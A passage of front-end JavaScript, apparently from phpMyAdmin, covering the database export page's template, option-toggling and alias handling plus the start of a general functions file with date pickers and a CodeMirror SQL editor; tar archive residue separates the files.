$form.find('input[type="checkbox"]:not(:checked)').each(function () { if (obj[this.name] === undefined) { obj[this.name] = null; } }); // include empty multiselects $form.find('select').each(function () { if ($(this).find('option:selected').length === 0) { obj[this.name] = []; } }); return obj; }; /** * Create a template with selected options * * @param name name of the template */ Export.createTemplate = function (name) { var templateData = Export.getTemplateData(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateName': name, 'templateData': JSON.stringify(templateData) }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/create', params, function (response) { if (response.success === true) { $('#templateName').val(''); $('#template').html(response.data); $('#template').find('option').each(function () { if ($(this).text() === name) { $(this).prop('selected', true); } }); Functions.ajaxShowMessage(Messages.strTemplateCreated); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Loads a template * * @param id ID of the template to load */ Export.loadTemplate = function (id) { var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id, }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/load', params, function (response) { if (response.success === true) { var $form = $('form[name="dump"]'); var options = JSON.parse(response.data); $.each(options, function (key, value) { var localValue = value; var $element = $form.find('[name="' + key + '"]'); if ($element.length) { if (($element.is('input') && $element.attr('type') === 'checkbox') && localValue === null) { $element.prop('checked', false); } else { if (($element.is('input') && $element.attr('type') === 'checkbox') || ($element.is('input') && $element.attr('type') === 'radio') || ($element.is('select') && $element.attr('multiple') === 'multiple')) { if (! localValue.push) { localValue = [localValue]; } } $element.val(localValue); } $element.trigger('change'); } }); $('input[name="template_id"]').val(id); Functions.ajaxShowMessage(Messages.strTemplateLoaded); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Updates an existing template with current options * * @param id ID of the template to update */ Export.updateTemplate = function (id) { var templateData = Export.getTemplateData(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id, 'templateData': JSON.stringify(templateData) }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/update', params, function (response) { if (response.success === true) { Functions.ajaxShowMessage(Messages.strTemplateUpdated); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Delete a template * * @param id ID of the template to delete */ Export.deleteTemplate = function (id) { var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id, }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/delete', params, function (response) { if (response.success === true) { $('#template').find('option[value="' + id + '"]').remove(); Functions.ajaxShowMessage(Messages.strTemplateDeleted); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('export.js', function () { $('#plugins').off('change'); $('input[type=\'radio\'][name=\'sql_structure_or_data\']').off('change'); $('input[type=\'radio\'][name$=\'_structure_or_data\']').off('change'); $('input[type=\'radio\'][name=\'output_format\']').off('change'); $('#checkbox_sql_include_comments').off('change'); $('input[type=\'radio\'][name=\'quick_or_custom\']').off('change'); $('input[type=\'radio\'][name=\'allrows\']').off('change'); $('#btn_alias_config').off('click'); $('.alias_remove').off('click'); $('#db_alias_button').off('click'); $('#table_alias_button').off('click'); $('#column_alias_button').off('click'); $('input[name="table_select[]"]').off('change'); $('input[name="table_structure[]"]').off('change'); $('input[name="table_data[]"]').off('change'); $('#table_structure_all').off('change'); $('#table_data_all').off('change'); $('input[name="createTemplate"]').off('click'); $('select[name="template"]').off('change'); $('input[name="updateTemplate"]').off('click'); $('input[name="deleteTemplate"]').off('click'); }); AJAX.registerOnload('export.js', function () { $('#showsqlquery').on('click', function () { // Creating a dialog box similar to preview sql container to show sql query var modal = $('#showSqlQueryModal'); modal.modal('show'); modal.on('shown.bs.modal', function () { $('#showSqlQueryModalLabel').first().html(Messages.strQuery); Functions.highlightSql(modal); }); }); /** * Export template handling code */ // create a new template $('input[name="createTemplate"]').on('click', function (e) { e.preventDefault(); var name = $('input[name="templateName"]').val(); if (name.length) { Export.createTemplate(name); } }); // load an existing template $('select[name="template"]').on('change', function (e) { e.preventDefault(); var id = $(this).val(); if (id.length) { Export.loadTemplate(id); } }); // update an existing template with new criteria $('input[name="updateTemplate"]').on('click', function (e) { e.preventDefault(); var id = $('select[name="template"]').val(); if (id.length) { Export.updateTemplate(id); } }); // delete an existing template $('input[name="deleteTemplate"]').on('click', function (e) { e.preventDefault(); var id = $('select[name="template"]').val(); if (id.length) { Export.deleteTemplate(id); } }); /** * Toggles the hiding and showing of each plugin's options * according to the currently selected plugin from the dropdown list */ $('#plugins').on('change', function () { $('#format_specific_opts').find('div.format_specific_options').addClass('d-none'); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').removeClass('d-none'); }); /** * Toggles the enabling and disabling of the SQL plugin's comment options that apply only when exporting structure */ $('input[type=\'radio\'][name=\'sql_structure_or_data\']').on('change', function () { var commentsArePresent = $('#checkbox_sql_include_comments').prop('checked'); var show = $('input[type=\'radio\'][name=\'sql_structure_or_data\']:checked').val(); if (show === 'data') { // disable the SQL comment options if (commentsArePresent) { $('#checkbox_sql_dates').prop('disabled', true).parent().fadeTo('fast', 0.4); } $('#checkbox_sql_relation').prop('disabled', true).parent().fadeTo('fast', 0.4); $('#checkbox_sql_mime').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { // enable the SQL comment options if (commentsArePresent) { $('#checkbox_sql_dates').prop('disabled', false).parent().fadeTo('fast', 1); } $('#checkbox_sql_relation').prop('disabled', false).parent().fadeTo('fast', 1); $('#checkbox_sql_mime').prop('disabled', false).parent().fadeTo('fast', 1); } if (show === 'structure') { $('#checkbox_sql_auto_increment').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $('#checkbox_sql_auto_increment').prop('disabled', false).parent().fadeTo('fast', 1); } }); // When MS Excel is selected as the Format automatically Switch to Character Set as windows-1252 $('#plugins').on('change', function () { var selectedPluginName = $('#plugins').find('option:selected').val(); if (selectedPluginName === 'excel') { $('#select_charset').val('windows-1252'); } else { $('#select_charset').val('utf-8'); } }); // For separate-file exports only ZIP compression is allowed $('input[type="checkbox"][name="as_separate_files"]').on('change', function () { if ($(this).is(':checked')) { $('#compression').val('zip'); } }); $('#compression').on('change', function () { if ($('option:selected').val() !== 'zip') { $('input[type="checkbox"][name="as_separate_files"]').prop('checked', false); } }); }); Export.setupTableStructureOrData = function () { if ($('input[name=\'export_type\']').val() !== 'database') { return; } var pluginName = $('#plugins').find('option:selected').val(); var formElemName = pluginName + '_structure_or_data'; var forceStructureOrData = !($('input[name=\'' + formElemName + '_default\']').length); if (forceStructureOrData === true) { $('input[name="structure_or_data_forced"]').val(1); $('.export_structure input[type="checkbox"], .export_data input[type="checkbox"]') .prop('disabled', true); $('.export_structure, .export_data').fadeTo('fast', 0.4); } else { $('input[name="structure_or_data_forced"]').val(0); $('.export_structure input[type="checkbox"], .export_data input[type="checkbox"]') .prop('disabled', false); $('.export_structure, .export_data').fadeTo('fast', 1); var structureOrData = $('input[name="' + formElemName + '_default"]').val(); if (structureOrData === 'structure') { $('.export_data input[type="checkbox"]') .prop('checked', false); } else if (structureOrData === 'data') { $('.export_structure input[type="checkbox"]') .prop('checked', false); } if (structureOrData === 'structure' || structureOrData === 'structure_and_data') { if (!$('.export_structure input[type="checkbox"]:checked').length) { $('input[name="table_select[]"]:checked') .closest('tr') .find('.export_structure input[type="checkbox"]') .prop('checked', true); } } if (structureOrData === 'data' || structureOrData === 'structure_and_data') { if (!$('.export_data input[type="checkbox"]:checked').length) { $('input[name="table_select[]"]:checked') .closest('tr') .find('.export_data input[type="checkbox"]') .prop('checked', true); } } Export.checkSelectedTables(); Export.checkTableSelectAll(); Export.checkTableSelectStructureOrData(); } }; /** * Toggles the hiding and showing of plugin structure-specific and data-specific * options */ Export.toggleStructureDataOpts = function () { var pluginName = $('select#plugins').val(); var radioFormName = pluginName + '_structure_or_data'; var dataDiv = '#' + pluginName + '_data'; var structureDiv = '#' + pluginName + '_structure'; var show = $('input[type=\'radio\'][name=\'' + radioFormName + '\']:checked').val(); // Show the #rows if 'show' is not structure $('#rows').toggle(show !== 'structure'); if (show === 'data') { $(dataDiv).slideDown('slow'); $(structureDiv).slideUp('slow'); } else { $(structureDiv).slideDown('slow'); if (show === 'structure') { $(dataDiv).slideUp('slow'); } else { $(dataDiv).slideDown('slow'); } } }; /** * Toggles the disabling of the "save to file" options */ Export.toggleSaveToFile = function () { var $ulSaveAsfile = $('#ul_save_asfile'); if (!$('#radio_dump_asfile').prop('checked')) { $ulSaveAsfile.find('> li').fadeTo('fast', 0.4); $ulSaveAsfile.find('> li > input').prop('disabled', true); $ulSaveAsfile.find('> li > select').prop('disabled', true); } else { $ulSaveAsfile.find('> li').fadeTo('fast', 1); $ulSaveAsfile.find('> li > input').prop('disabled', false); $ulSaveAsfile.find('> li > select').prop('disabled', false); } }; AJAX.registerOnload('export.js', function () { Export.toggleSaveToFile(); $('input[type=\'radio\'][name=\'output_format\']').on('change', Export.toggleSaveToFile); }); /** * For SQL plugin, toggles the disabling of the "display comments" options */ Export.toggleSqlIncludeComments = function () { $('#checkbox_sql_include_comments').on('change', function () { var $ulIncludeComments = $('#ul_include_comments'); if (!$('#checkbox_sql_include_comments').prop('checked')) { $ulIncludeComments.find('> li').fadeTo('fast', 0.4); $ulIncludeComments.find('> li > input').prop('disabled', true); } else { // If structure is not being exported, the comment options for structure should not be enabled if ($('#radio_sql_structure_or_data_data').prop('checked')) { $('#text_sql_header_comment').prop('disabled', false).parent('li').fadeTo('fast', 1); } else { $ulIncludeComments.find('> li').fadeTo('fast', 1); $ulIncludeComments.find('> li > input').prop('disabled', false); } } }); }; Export.checkTableSelectAll = function () { var total = $('input[name="table_select[]"]').length; var strChecked = $('input[name="table_structure[]"]:checked').length; var dataChecked = $('input[name="table_data[]"]:checked').length; var strAll = $('#table_structure_all'); var dataAll = $('#table_data_all'); if (strChecked === total) { strAll .prop('indeterminate', false) .prop('checked', true); } else if (strChecked === 0) { strAll .prop('indeterminate', false) .prop('checked', false); } else { strAll .prop('indeterminate', true) .prop('checked', false); } if (dataChecked === total) { dataAll .prop('indeterminate', false) .prop('checked', true); } else if (dataChecked === 0) { dataAll .prop('indeterminate', false) .prop('checked', false); } else { dataAll .prop('indeterminate', true) .prop('checked', false); } }; Export.checkTableSelectStructureOrData = function () { var dataChecked = $('input[name="table_data[]"]:checked').length; var autoIncrement = $('#checkbox_sql_auto_increment'); var pluginName = $('select#plugins').val(); var dataDiv = '#' + pluginName + '_data'; if (dataChecked === 0) { $(dataDiv).slideUp('slow'); autoIncrement.prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $(dataDiv).slideDown('slow'); autoIncrement.prop('disabled', false).parent().fadeTo('fast', 1); } }; Export.toggleTableSelectAllStr = function () { var strAll = $('#table_structure_all').is(':checked'); if (strAll) { $('input[name="table_structure[]"]').prop('checked', true); } else { $('input[name="table_structure[]"]').prop('checked', false); } }; Export.toggleTableSelectAllData = function () { var dataAll = $('#table_data_all').is(':checked'); if (dataAll) { $('input[name="table_data[]"]').prop('checked', true); } else { $('input[name="table_data[]"]').prop('checked', false); } }; Export.checkSelectedTables = function () { $('.export_table_select tbody tr').each(function () { Export.checkTableSelected(this); }); }; Export.checkTableSelected = function (row) { var $row = $(row); var tableSelect = $row.find('input[name="table_select[]"]'); var strCheck = $row.find('input[name="table_structure[]"]'); var dataCheck = $row.find('input[name="table_data[]"]'); var data = dataCheck.is(':checked:not(:disabled)'); var structure = strCheck.is(':checked:not(:disabled)'); if (data && structure) { tableSelect.prop({ checked: true, indeterminate: false }); $row.addClass('marked'); } else if (data || structure) { tableSelect.prop({ checked: true, indeterminate: true }); $row.removeClass('marked'); } else { tableSelect.prop({ checked: false, indeterminate: false }); $row.removeClass('marked'); } }; Export.toggleTableSelect = function (row) { var $row = $(row); var tableSelected = $row.find('input[name="table_select[]"]').is(':checked'); if (tableSelected) { $row.find('input[type="checkbox"]:not(:disabled)').prop('checked', true); $row.addClass('marked'); } else { $row.find('input[type="checkbox"]:not(:disabled)').prop('checked', false); $row.removeClass('marked'); } }; Export.handleAddProcCheckbox = function () { if ($('#table_structure_all').is(':checked') === true && $('#table_data_all').is(':checked') === true ) { $('#checkbox_sql_procedure_function').prop('checked', true); } else { $('#checkbox_sql_procedure_function').prop('checked', false); } }; AJAX.registerOnload('export.js', function () { /** * For SQL plugin, if "CREATE TABLE options" is checked/unchecked, check/uncheck each of its sub-options */ var $create = $('#checkbox_sql_create_table_statements'); var $createOptions = $('#ul_create_table_statements').find('input'); $create.on('change', function () { $createOptions.prop('checked', $(this).prop('checked')); }); $createOptions.on('change', function () { if ($createOptions.is(':checked')) { $create.prop('checked', true); } }); /** * Disables the view output as text option if the output must be saved as a file */ $('#plugins').on('change', function () { var activePlugin = $('#plugins').find('option:selected').val(); var forceFile = $('#force_file_' + activePlugin).val(); if (forceFile === 'true') { if ($('#radio_dump_asfile').prop('checked') !== true) { $('#radio_dump_asfile').prop('checked', true); Export.toggleSaveToFile(); } $('#radio_view_as_text').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $('#radio_view_as_text').prop('disabled', false).parent().fadeTo('fast', 1); } }); $('input[type=\'radio\'][name$=\'_structure_or_data\']').on('change', function () { Export.toggleStructureDataOpts(); }); $('input[name="table_select[]"]').on('change', function () { Export.toggleTableSelect($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('input[name="table_structure[]"]').on('change', function () { Export.checkTableSelected($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('input[name="table_data[]"]').on('change', function () { Export.checkTableSelected($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('#table_structure_all').on('change', function () { Export.toggleTableSelectAllStr(); Export.checkSelectedTables(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('#table_data_all').on('change', function () { Export.toggleTableSelectAllData(); Export.checkSelectedTables(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); if ($('input[name=\'export_type\']').val() === 'database') { // Hide structure or data radio buttons $('input[type=\'radio\'][name$=\'_structure_or_data\']').each(function () { var $this = $(this); var name = $this.prop('name'); var val = $('input[name="' + name + '"]:checked').val(); var nameDefault = name + '_default'; if (!$('input[name="' + nameDefault + '"]').length) { $this .after( $('') ) .after( $('') ); $this.parent().find('label').remove(); } else { $this.parent().remove(); } }); $('input[type=\'radio\'][name$=\'_structure_or_data\']').remove(); // Disable CREATE table checkbox for sql var createTableCheckbox = $('#checkbox_sql_create_table'); createTableCheckbox.prop('checked', true); var dummyCreateTable = $('#checkbox_sql_create_table') .clone() .removeAttr('id') .attr('type', 'hidden'); createTableCheckbox .prop('disabled', true) .after(dummyCreateTable) .parent() .fadeTo('fast', 0.4); Export.setupTableStructureOrData(); } /** * Handle force structure_or_data */ $('#plugins').on('change', Export.setupTableStructureOrData); }); /** * Toggles display of options when quick and custom export are selected */ Export.toggleQuickOrCustom = function () { if ($('input[name=\'quick_or_custom\']').length === 0 // custom_no_form option || $('#radio_custom_export').prop('checked') // custom ) { $('#databases_and_tables').show(); $('#rows').show(); $('#output').show(); $('#format_specific_opts').show(); $('#output_quick_export').addClass('d-none'); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').removeClass('d-none'); } else { // quick $('#databases_and_tables').hide(); $('#rows').hide(); $('#output').hide(); $('#format_specific_opts').hide(); $('#output_quick_export').removeClass('d-none'); } }; var timeOut; Export.checkTimeOut = function (timeLimit) { var limit = timeLimit; if (typeof limit === 'undefined' || limit === 0) { return true; } // margin of one second to avoid race condition to set/access session variable limit = limit + 1; clearTimeout(timeOut); timeOut = setTimeout(function () { $.get('index.php?route=/export/check-time-out', { 'ajax_request': true }, function (data) { if (data.message === 'timeout') { Functions.ajaxShowMessage( '', false ); } }); }, limit * 1000); }; /** * Handler for Alias dialog box * * @param event object the event object * * @return {void} */ Export.createAliasModal = function (event) { event.preventDefault(); var modal = $('#renameExportModal'); modal.modal('show'); modal.on('shown.bs.modal', function () { modal.closest('.ui-dialog').find('.ui-button').addClass('btn btn-secondary'); var db = CommonParams.get('db'); if (db) { var option = $(''); option.text(db); option.attr('value', db); $('#db_alias_select').append(option).val(db).trigger('change'); } else { var params = { 'ajax_request': true, 'server': CommonParams.get('server') }; $.post('index.php?route=/databases', params, function (response) { if (response.success === true) { $.each(response.databases, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#db_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); } }); modal.on('hidden.bs.modal', function () { var isEmpty = true; $(this).find('input[type="text"]').each(function () { // trim empty input fields on close if ($(this).val()) { isEmpty = false; } else { $(this).parents('tr').remove(); } }); // Toggle checkbox based on aliases $('input#btn_alias_config').prop('checked', !isEmpty); }); $('#saveAndCloseBtn').on('click', function () { $('#alias_modal').parent().appendTo($('form[name="dump"]')); }); }; Export.aliasToggleRow = function (elm) { var inputs = elm.parents('tr').find('input,button'); if (elm.val()) { inputs.attr('disabled', false); } else { inputs.attr('disabled', true); } }; Export.aliasRow = null; Export.addAlias = function (type, name, field, value) { if (value === '') { return; } if (Export.aliasRow === null) { Export.aliasRow = $('#alias_data tfoot tr'); } var row = Export.aliasRow.clone(); row.find('th').text(type); row.find('td').first().text(name); row.find('input').attr('name', field); row.find('input').val(value); row.find('.alias_remove').on('click', function () { $(this).parents('tr').remove(); }); var matching = $('#alias_data [name="' + $.escapeSelector(field) + '"]'); if (matching.length > 0) { matching.parents('tr').remove(); } $('#alias_data tbody').append(row); }; AJAX.registerOnload('export.js', function () { $('input[type=\'radio\'][name=\'quick_or_custom\']').on('change', Export.toggleQuickOrCustom); $('#format_specific_opts').find('div.format_specific_options') .addClass('d-none') .find('h3') .remove(); Export.toggleQuickOrCustom(); Export.toggleStructureDataOpts(); Export.toggleSqlIncludeComments(); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); /** * Initially disables the "Dump some row(s)" sub-options */ Export.disableDumpSomeRowsSubOptions(); /** * Disables the "Dump some row(s)" sub-options when it is not selected */ $('input[type=\'radio\'][name=\'allrows\']').on('change', function () { if ($('#radio_allrows_0').prop('checked')) { Export.enableDumpSomeRowsSubOptions(); } else { Export.disableDumpSomeRowsSubOptions(); } }); // Open Alias Modal Dialog on click $('#btn_alias_config').on('click', Export.createAliasModal); $('.alias_remove').on('click', function () { $(this).parents('tr').remove(); }); $('#db_alias_select').on('change', function () { Export.aliasToggleRow($(this)); var table = CommonParams.get('table'); if (table) { var option = $(''); option.text(table); option.attr('value', table); $('#table_alias_select').append(option).val(table).trigger('change'); } else { var database = $(this).val(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': database, }; var url = 'index.php?route=/tables'; $.post(url, params, function (response) { if (response.success === true) { $.each(response.tables, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#table_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); } }); $('#table_alias_select').on('change', function () { Export.aliasToggleRow($(this)); var database = $('#db_alias_select').val(); var table = $(this).val(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': database, 'table': table, }; var url = 'index.php?route=/columns'; $.post(url, params, function (response) { if (response.success === true) { $.each(response.columns, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#column_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); }); $('#column_alias_select').on('change', function () { Export.aliasToggleRow($(this)); }); $('#db_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); Export.addAlias( Messages.strAliasDatabase, db, 'aliases[' + db + '][alias]', $('#db_alias_name').val() ); $('#db_alias_name').val(''); }); $('#table_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); var table = $('#table_alias_select').val(); Export.addAlias( Messages.strAliasTable, db + '.' + table, 'aliases[' + db + '][tables][' + table + '][alias]', $('#table_alias_name').val() ); $('#table_alias_name').val(''); }); $('#column_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); var table = $('#table_alias_select').val(); var column = $('#column_alias_select').val(); Export.addAlias( Messages.strAliasColumn, db + '.' + table + '.' + column, 'aliases[' + db + '][tables][' + table + '][colums][' + column + ']', $('#column_alias_name').val() ); $('#column_alias_name').val(''); }); var setSelectOptions = function (doCheck) { Functions.setSelectOptions('dump', 'db_select[]', doCheck); }; $('#db_select_all').on('click', function (e) { e.preventDefault(); setSelectOptions(true); }); $('#db_unselect_all').on('click', function (e) { e.preventDefault(); setSelectOptions(false); }); $('#buttonGo').on('click', function () { var timeLimit = parseInt($(this).attr('data-exec-time-limit')); // If the time limit set is zero, // then time out won't occur so no need to check for time out. if (timeLimit > 0) { Export.checkTimeOut(timeLimit); } }); }); src/export_output.js000066600000000622151724472050010645 0ustar00AJAX.registerOnload('export_output.js', function () { $(document).on('keydown', function (e) { if ((e.which || e.keyCode) === 116) { e.preventDefault(); $('#export_refresh_form').trigger('submit'); } }); $('.export_refresh_btn').on('click', function (e) { e.preventDefault(); $('#export_refresh_form').trigger('submit'); }); }); src/functions.js000066600000505554151724472050007732 0ustar00 /* global isStorageSupported */ // js/config.js /* global ChartType, ColumnType, DataTable, JQPlotChartFactory */ // js/chart.js /* global DatabaseStructure */ // js/database/structure.js /* global mysqlDocBuiltin, mysqlDocKeyword */ // js/doclinks.js /* global Indexes */ // js/indexes.js /* global firstDayOfCalendar, maxInputVars, mysqlDocTemplate, themeImagePath */ // templates/javascript/variables.twig /* global sprintf */ // js/vendor/sprintf.js /* global zxcvbnts */ // js/vendor/zxcvbn-ts.js /** * general function, usually for data manipulation pages * @test-module Functions */ var Functions = {}; /** * @var sqlBoxLocked lock for the sqlbox textarea in the querybox */ // eslint-disable-next-line no-unused-vars var sqlBoxLocked = false; /** * @var {array}, holds elements which content should only selected once */ var onlyOnceElements = []; /** * @var {number} ajaxMessageCount Number of AJAX messages shown since page load */ var ajaxMessageCount = 0; /** * @var codeMirrorEditor object containing CodeMirror editor of the query editor in SQL tab */ var codeMirrorEditor = false; /** * @var codeMirrorInlineEditor object containing CodeMirror editor of the inline query editor */ var codeMirrorInlineEditor = false; /** * @var {boolean} sqlAutoCompleteInProgress shows if Table/Column name autocomplete AJAX is in progress */ var sqlAutoCompleteInProgress = false; /** * @var sqlAutoComplete object containing list of columns in each table */ var sqlAutoComplete = false; /** * @var {string} sqlAutoCompleteDefaultTable string containing default table to autocomplete columns */ var sqlAutoCompleteDefaultTable = ''; /** * @var {array} centralColumnList array to hold the columns in central list per db. */ var centralColumnList = []; /** * @var {array} primaryIndexes array to hold 'Primary' index columns. */ // eslint-disable-next-line no-unused-vars var primaryIndexes = []; /** * @var {array} uniqueIndexes array to hold 'Unique' index columns. */ // eslint-disable-next-line no-unused-vars var uniqueIndexes = []; /** * @var {array} indexes array to hold 'Index' columns. */ // eslint-disable-next-line no-unused-vars var indexes = []; /** * @var {array} fulltextIndexes array to hold 'Fulltext' columns. */ // eslint-disable-next-line no-unused-vars var fulltextIndexes = []; /** * @var {array} spatialIndexes array to hold 'Spatial' columns. */ // eslint-disable-next-line no-unused-vars var spatialIndexes = []; /** * Make sure that ajax requests will not be cached * by appending a random variable to their parameters */ $.ajaxPrefilter(function (options, originalOptions) { var nocache = new Date().getTime() + '' + Math.floor(Math.random() * 1000000); if (typeof options.data === 'string') { options.data += '&_nocache=' + nocache + '&token=' + encodeURIComponent(CommonParams.get('token')); } else if (typeof options.data === 'object') { options.data = $.extend(originalOptions.data, { '_nocache' : nocache, 'token': CommonParams.get('token') }); } }); /** * Adds a date/time picker to an element * * @param {object} $thisElement a jQuery object pointing to the element * @param {string} type * @param {object} options */ Functions.addDatepicker = function ($thisElement, type, options) { if (type !== 'date' && type !== 'time' && type !== 'datetime' && type !== 'timestamp') { return; } var showTimepicker = true; if (type === 'date') { showTimepicker = false; } // Getting the current Date and time var currentDateTime = new Date(); var defaultOptions = { timeInput : true, hour: currentDateTime.getHours(), minute: currentDateTime.getMinutes(), second: currentDateTime.getSeconds(), showOn: 'button', buttonImage: themeImagePath + 'b_calendar.png', buttonImageOnly: true, stepMinutes: 1, stepHours: 1, showSecond: true, showMillisec: true, showMicrosec: true, showTimepicker: showTimepicker, showButtonPanel: false, changeYear: true, dateFormat: 'yy-mm-dd', // yy means year with four digits timeFormat: 'HH:mm:ss.lc', constrainInput: false, altFieldTimeOnly: false, showAnim: '', beforeShow: function (input, inst) { // Remember that we came from the datepicker; this is used // in table/change.js by verificationsAfterFieldChange() $thisElement.data('comes_from', 'datepicker'); if ($(input).closest('.cEdit').length > 0) { setTimeout(function () { inst.dpDiv.css({ top: 0, left: 0, position: 'relative' }); }, 0); } setTimeout(function () { // Fix wrong timepicker z-index, doesn't work without timeout $('#ui-timepicker-div').css('z-index', $('#ui-datepicker-div').css('z-index')); // Integrate tooltip text into dialog var tooltip = $thisElement.uiTooltip('instance'); if (typeof tooltip !== 'undefined') { tooltip.disable(); var $note = $('

        '); $note.text(tooltip.option('content')); $('div.ui-datepicker').append($note); } }, 0); }, onSelect: function () { $thisElement.data('datepicker').inline = true; }, onClose: function () { // The value is no more from the date picker $thisElement.data('comes_from', ''); if (typeof $thisElement.data('datepicker') !== 'undefined') { $thisElement.data('datepicker').inline = false; } var tooltip = $thisElement.uiTooltip('instance'); if (typeof tooltip !== 'undefined') { tooltip.enable(); } } }; if (type === 'time') { $thisElement.timepicker($.extend(defaultOptions, options)); // Add a tip regarding entering MySQL allowed-values for TIME data-type Functions.tooltip($thisElement, 'input', Messages.strMysqlAllowedValuesTipTime); } else { $thisElement.datetimepicker($.extend(defaultOptions, options)); } }; /** * Add a date/time picker to each element that needs it * (only when jquery-ui-timepicker-addon.js is loaded) */ Functions.addDateTimePicker = function () { if ($.timepicker !== undefined) { $('input.timefield, input.datefield, input.datetimefield').each(function () { var decimals = $(this).parent().attr('data-decimals'); var type = $(this).parent().attr('data-type'); var showMillisec = false; var showMicrosec = false; var timeFormat = 'HH:mm:ss'; var hourMax = 23; // check for decimal places of seconds if (decimals > 0 && type.indexOf('time') !== -1) { if (decimals > 3) { showMillisec = true; showMicrosec = true; timeFormat = 'HH:mm:ss.lc'; } else { showMillisec = true; timeFormat = 'HH:mm:ss.l'; } } if (type === 'time') { hourMax = 99; } Functions.addDatepicker($(this), type, { showMillisec: showMillisec, showMicrosec: showMicrosec, timeFormat: timeFormat, hourMax: hourMax, firstDay: firstDayOfCalendar }); // Add a tip regarding entering MySQL allowed-values // for TIME and DATE data-type if ($(this).hasClass('timefield')) { Functions.tooltip($(this), 'input', Messages.strMysqlAllowedValuesTipTime); } else if ($(this).hasClass('datefield')) { Functions.tooltip($(this), 'input', Messages.strMysqlAllowedValuesTipDate); } }); } }; /** * Handle redirect and reload flags sent as part of AJAX requests * * @param data ajax response data */ Functions.handleRedirectAndReload = function (data) { if (parseInt(data.redirect_flag) === 1) { // add one more GET param to display session expiry msg if (window.location.href.indexOf('?') === -1) { window.location.href += '?session_expired=1'; } else { window.location.href += CommonParams.get('arg_separator') + 'session_expired=1'; } window.location.reload(); } else if (parseInt(data.reload_flag) === 1) { window.location.reload(); } }; /** * Creates an SQL editor which supports auto completing etc. * * @param $textarea jQuery object wrapping the textarea to be made the editor * @param options optional options for CodeMirror * @param {'vertical'|'horizontal'|'both'} resize optional resizing ('vertical', 'horizontal', 'both') * @param lintOptions additional options for lint * * @return {object|null} */ Functions.getSqlEditor = function ($textarea, options, resize, lintOptions) { var resizeType = resize; if ($textarea.length > 0 && typeof CodeMirror !== 'undefined') { // merge options for CodeMirror var defaults = { lineNumbers: true, matchBrackets: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, indentUnit: 4, mode: 'text/x-mysql', lineWrapping: true }; if (CodeMirror.sqlLint) { $.extend(defaults, { gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true, 'lintOptions': lintOptions } }); } $.extend(true, defaults, options); // create CodeMirror editor var codemirrorEditor = CodeMirror.fromTextArea($textarea[0], defaults); // allow resizing if (! resizeType) { resizeType = 'vertical'; } var handles = ''; if (resizeType === 'vertical') { handles = 's'; } if (resizeType === 'both') { handles = 'all'; } if (resizeType === 'horizontal') { handles = 'e, w'; } $(codemirrorEditor.getWrapperElement()) .css('resize', resizeType) .resizable({ handles: handles, resize: function () { codemirrorEditor.setSize($(this).width(), $(this).height()); } }); // enable autocomplete codemirrorEditor.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); // page locking codemirrorEditor.on('change', function (e) { e.data = { value: 3, content: codemirrorEditor.isClean(), }; AJAX.lockPageHandler(e); }); return codemirrorEditor; } return null; }; /** * Clear text selection */ Functions.clearSelection = function () { if (document.selection && document.selection.empty) { document.selection.empty(); } else if (window.getSelection) { var sel = window.getSelection(); if (sel.empty) { sel.empty(); } if (sel.removeAllRanges) { sel.removeAllRanges(); } } }; /** * Create a jQuery UI tooltip * * @param $elements jQuery object representing the elements * @param item the item * (see https://api.jqueryui.com/tooltip/#option-items) * @param myContent content of the tooltip * @param additionalOptions to override the default options * */ Functions.tooltip = function ($elements, item, myContent, additionalOptions) { if ($('#no_hint').length > 